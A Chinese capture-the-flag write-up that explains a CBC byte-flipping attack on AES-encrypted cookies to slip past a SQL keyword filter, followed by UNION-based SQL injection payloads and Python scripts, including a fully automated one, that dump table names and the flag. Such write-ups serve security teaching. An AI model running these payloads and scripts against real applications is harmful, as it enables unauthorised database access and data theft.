简单登录题-关于CBC字节翻转攻击

以下内容主要参考pcat的writeup,并加入个人的一点理解。

一、题目概况

1、题目

CTF实验吧的一道题目,比较有意思,记下来以供回顾。URL:http://ctf5.shiyanbar.com/web/jiandan/index.php,进入后显示

简单登录题-关于CBC字节翻转攻击_第1张图片

无论输什么id,均返回:Hello!

2、入手

在进入登录界面时抓包,看响应中有提示:tips:test.php

简单登录题-关于CBC字节翻转攻击_第2张图片

则登录http://ctf5.shiyanbar.com/web/jiandan/test.php,查看源代码:

简单登录题-关于CBC字节翻转攻击_第3张图片

该代码功能大致如下:

       1、如果id不为空,则根据接收到的id生成数组info[‘id’: id值]。将该数组进行序列化之后,以序列化结果和一个随机数iv进行cbc加密生成密文cipher,加密算法为"aes-128-cbc"。最后在响应中将cookie设为iv和cipher(这两个值均先base64编码,再URL编码)。以上由test.php中的主代码和login()函数完成。

       2、如果id为空,则根据报文头cookie里的iv和cipher值进行解密,并将解密结果反向序列化之后恢复出info,进而得到id值$info['id'],并执行以下查询:

              sql="select * from users limit ".$info['id'].",0";

        以上由test.php中的主代码和show_homepage()函数完成。

       3、可以看到,由于limit第二个参数为0,则无论id是什么均不会返回结果,但如果能利用id进行注入,则可以获得我们想要的结果。

       4、利用id注入的关键是绕过test代码中的防火墙sqliCheck($str):

                    preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)

       该代码过滤了绝大多数特殊字符,如:-、#、=、~ 、union、like、procedure。因此要直接通过id注入较难。但是可以看到代码中并没有对解密后的id进行过滤,因此我们可以利用cbc字节翻转攻击更改cipher,并进而更改解密后id,从而绕过防火墙。

 二、cbc字节翻转攻击的基本原理

1、cbc解密过程

       如图:

简单登录题-关于CBC字节翻转攻击_第4张图片

       可以看到明文的生成是先对密文分组解密后,再异或上一组密文后得到。因此,如果我们能更改上一组密文,则可以更改明文。

 2、cbc攻击原理

       1)设明文原文为P_old,要更改为P_new;上一组密文原文为C_old,要更改为C_new;,密文解密后和上一组密文异或前的中间数据为M。

        如果我们能将C_new设置为:

                 C_new = C_old ⊕ P_old ⊕ P_new   ---- 公式 1

         由于

                  P_old = M ⊕ C_old

       则有

                  M ⊕ C_new = M ⊕ C_old ⊕ P_old ⊕ P_new

                  = P_old ⊕ P_old ⊕ P_new = P_new

       则可以得到P_new

        2)以第二组明文的更改为例,由于C_old(即cipher以128位(或16字节)分组的第二组)、P_old(即数组info序列化后明文的第二组)、P_new(要更改的明文)都已知,因此可以通过公式1得到C_new,并执行cbc字节翻转攻击。

        3)由于第一组密文被更改,因此第一组明文也相应改变,此时反序列化会失败。因此还需要根据同样原理将第一组明文改回来,此时可以将iv进行改变(类似C_old与C_new),并进而改变第一组明文。有:

              iv_new = iv_old ⊕ P_old ⊕ P_new      —— 公式2

此时iv_old为第一次生成的iv,P_old为序列化失败后返回的明文的第一组(前16字节),P_new为需要改变的明文(即正确的序列化数据的第一组,也就是第一次的info序列化后的前16字节)。

        4)一些注意事项

             a)iv和cipher解密前都要先URL解码,再b64解码,同样加密前应先b64编码,再URL编码;

             b)第一组密文要改变的字符位置要和第二组明文中相对应,比如第二组明文中第四字节是2,要改成#,则第一组密文中也要改第四字节(即C_old[3]),即公式1实现形式为

                      C_old[3] = C_old[3] ⊕‘2’⊕‘#’

    实际操作中,要写一个php脚本对真实数据序列化后来判断偏移量。

三、攻击实际步骤

 1、首先验证cbc攻击是否可行

        构造id=12。目标是修改12为1#,这样就能注释掉sql查询中的“,0”。以id=12提交请求后记录cipher和iv:

简单登录题-关于CBC字节翻转攻击_第5张图片

 2、计算偏移量

       用以下的php脚本对数组序列化,并将结果按16字节长度进行分组后输出:

$id = "12";

$info = array('id'=>$id);

$plain = serialize($info);

$row=ceil(strlen($plain)/16);

for($i=0;$i<$row;$i++){

    echo substr($plain,$i*16,16).'';

}

?>

运行后显示:

a:1:{s:2:"id";s:

2:"12";}

可以看到,如果要将第二组明文中“12”的2改为#,则偏移量为4,则应对第一组密文同样偏移量的字节进行操作。

3、更改第一组密文

综上,更改第一组密文的python脚本如下,注意该脚本为python2.7环境:

# -*- coding:utf8 -*-

from base64 import *

import urllib

cipher='fn060OBP%2FyLIGYrD9bi%2FlWWAS9RIWvEtALaV26kuB%2F8%3D'

cipher_raw=b64decode(urllib.unquote(cipher))

lst=list(cipher_raw)

idx=4

c1='2'

c2='#'

lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

cipher_new=''.join(lst)

cipher_new=urllib.quote(b64encode(cipher_new))

print cipher_new

运行脚本,得到cipher_new为:

            fn060PFP/yLIGYrD9bi/lWWAS9RIWvEtALaV26kuB/8%3D

4、更改iv

       将cipher_new的值赋给cookie的cipher,iv值不变,重新发送请求,此时由于第一组明文被改变,导致反序列化失败,响应如图:

简单登录题-关于CBC字节翻转攻击_第6张图片

       我们需要把响应中的内容(即改变密文后解密出的明文)记录下来,取前16字节按公式2进行操作以得到iv_new。脚本如下:

# -*- coding:utf8 -*-

__author__='[email protected]'

from base64 import *

import urllib

iv='erUDGVSvM4Kab3ztg8vT8Q%3D%3D'

iv_raw=b64decode(urllib.unquote(iv))

first='a:1:{s:2:"id";s:'

plain=b64decode('eFoXA0j/x2Em/bhfgeLzXjI6IjEjIjt9')

iv_new=''

for i in range(16):

    iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))

iv_new=urllib.quote(b64encode(iv_new))

print iv_new

运行,得到iv_new为Y9UlIGcjztGGsK3WIBJTlQ%3D%3D

5、执行注入

      以iv_new替换原iv,和cipher_new一起重新提交,则可以看到已经返回所需要的结果,即rootzz(根据test.php中的查询脚本,应该是user表的username列的第一行值)。此时已经将12替换成1#,完成注入。

简单登录题-关于CBC字节翻转攻击_第7张图片

6、进一步注入

       1)查询显位

        但这个并不是flag,还需进一步注入。构造id为:

        0 2nion select * from((select 1)a join (select 2)b join (select 3)c);%00

        重复上面的步骤(注意改密文脚本中的idx、c1、c2此时分别为6、‘2’、‘u’),目标是将2union改为union。

       该payload的第一个0用于和sql语句“sql="select * from users limit ".$info['id'].",0";” 中的limit组合,使得查询前面部分返回结果集的数目为0,也即屏蔽掉“select * from users”部分。

       union查询用于查询显位(根据union查询原理,union查询select数必须与原查询表中字段数一致,此处已经暴力破解users表最大字段数为3。显位是指网页中哪些字段会被显示)。

         由于逗号会被过滤,此处用join替代,同时写法也相应改变。最后的“;%00”用于注释掉原sql中最后的“,0”。

         最后响应结果为Hello!2,因此显位为2。

     2)查询表名

       再次构造id:

 0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);%00

       重复上面步骤(注意由于payload长度改变,导致序列化后的长度改变,因此改密文脚本中的偏移量idx要改为7)。该payload是mysql环境下查询表名的注入语句,其中的=用regexp替代。

       得到响应结果为:Hello!users,you_want,即当前数据库有两个表为users和you_want,猜测flag在you_want表中。

      3)查询字段名

    再次构造id:

0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);%00

      用于查询you_want表中的column名称,此时偏移量依然为7。 

      返回Hello!users,value,可知只有一个字段value。

       4) 查询数据

       最后构造id:

0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);%00

       此时偏移量为6。 重复上面步骤,返回

            Hello!flag{c42b2b758a5a36228156d9d671c37f19}。

      注入成功,获得flag。

四、自动攻击脚本

      以上步骤的批量执行脚本如下。为适合自动化运行,此时的%00用chr(0)替代。

# -*- coding:utf8 -*-

# 请保留我的个人信息,谢谢~!

__author__='[email protected]'

from base64 import *

import urllib

import requests

import re

def mydecode(value):

    return b64decode(urllib.unquote(value))

def myencode(value):

    return urllib.quote(b64encode(value))

def mycbc(value,idx,c1,c2):

    lst=list(value)

    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

    return ''.join(lst)

def pcat(payload,idx,c1,c2):

    url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'

    myd={'id':payload}

    res=requests.post(url,data=myd)

    cookies=res.headers['Set-Cookie']

    iv=re.findall(r'iv=(.*?),',cookies)[0]

    cipher=re.findall(r'cipher=(.*)',cookies)[0]

    iv_raw=mydecode(iv)

    cipher_raw=mydecode(cipher)

    cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))

    cookies_new={'iv':iv,'cipher':cipher_new}

    cont=requests.get(url,cookies=cookies_new).content

    plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])

    first='a:1:{s:2:"id";s:'

    iv_new=''

    for i in range(16):

        iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))

    iv_new=myencode(iv_new)

    cookies_new={'iv':iv_new,'cipher':cipher_new}

    cont=requests.get(url,cookies=cookies_new).content

    print 'Payload:%s\n>> ' %(payload)

    print cont

    pass

def foo():

    pcat('12',4,'2','#')

    pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')

    pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')

    pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')

    pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u')

    pass

if __name__ == '__main__':

    foo()

    print 'ok'

你可能感兴趣的:(简单登录题-关于CBC字节翻转攻击)